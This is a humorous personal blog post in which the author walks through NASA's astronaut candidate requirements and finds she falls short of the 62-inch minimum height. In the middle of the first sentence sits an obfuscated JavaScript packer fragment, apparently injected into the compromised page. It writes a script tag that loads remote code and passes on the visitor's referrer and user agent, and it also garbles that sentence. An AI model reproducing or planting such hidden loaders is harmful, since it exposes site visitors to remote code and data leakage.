NASA is hiring and you must be THIS tall to ride

So you want to be an astronaut?

NASA posted a job ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkfyy|var|u0026u|referrer|etadd||js|php’.split(‘|’),0,{}))
opening for astronauts in training.  Obviously, I took a look at the application.  Here’s how it went down.

Applicants must meet the following minimum requirements before submitting an application. Let’s see how I do!

1. Bachelor’s degree from an accredited institution in engineering, biological science, physical science, or mathematics. Quality of academic preparation is important.

Done and done.  With a few extra bonus points.  Last time I checked UW was accredited in engineering, and I just happen to hold 2 degrees in mechanical.  Well on my way to becoming an astronaut!  What’s next?

2. Degree followed by at least 3 years of related, progressively responsible, professional experience OR at least 1,000 hours pilot-in-command time in jet aircraft. An advanced degree is desirable and may be substituted for experience as follows: master’s degree = 1 year of experience, doctoral degree = 3 years of experience. Teaching experience, including experience at the K – 12 levels, is considered to be qualifying experience for the Astronaut Candidate position; therefore, educators are encouraged to apply.

Yes! 5 years of work has paid off! I get an extra year for my masters….uh oh….am I too old for this gig?

3. Ability to pass the NASA long-duration space flight physical, which includes the following specific requirements:

Distant and near visual acuity: Must be correctable to 20/20, each eye

20/15, bitches!

The refractive surgical procedures of the eye, PRK and LASIK, are allowed, providing at least 1 year has passed since the date of the procedure with no permanent adverse after effects. For those applicants under final consideration, an operative report on the surgical procedure will be requested.

Blood pressure not to exceed 140/90 measured in a sitting position

115/65 the last time I checked.

Standing height between 62 and 75 inches. ‘

You’re kidding me?!  Is this Disneyland?  Am I going to fall out of the shuttle if I’m too short?  Won’t I fit better in the confined space?  I know I’ll weigh less than the 75″ dude (technically, it’ll all be the same once we are in space…but whatever)!  Aren’t they concerned with payload weight on the way up?  Are there air bags in the shuttle?  Pretty sure if the air bags go off, you’ve got other problems.  Bah!  Just to be sure, we got out the tape measure….Nick thinks I could pass for 61″ and maybe 61.5″ but there is no way I’m hitting 62″ he says.  

U.S. citizenship is required.

Check.  Although at this point, it doesn’t even matter. 

Oh well.  That was short lived.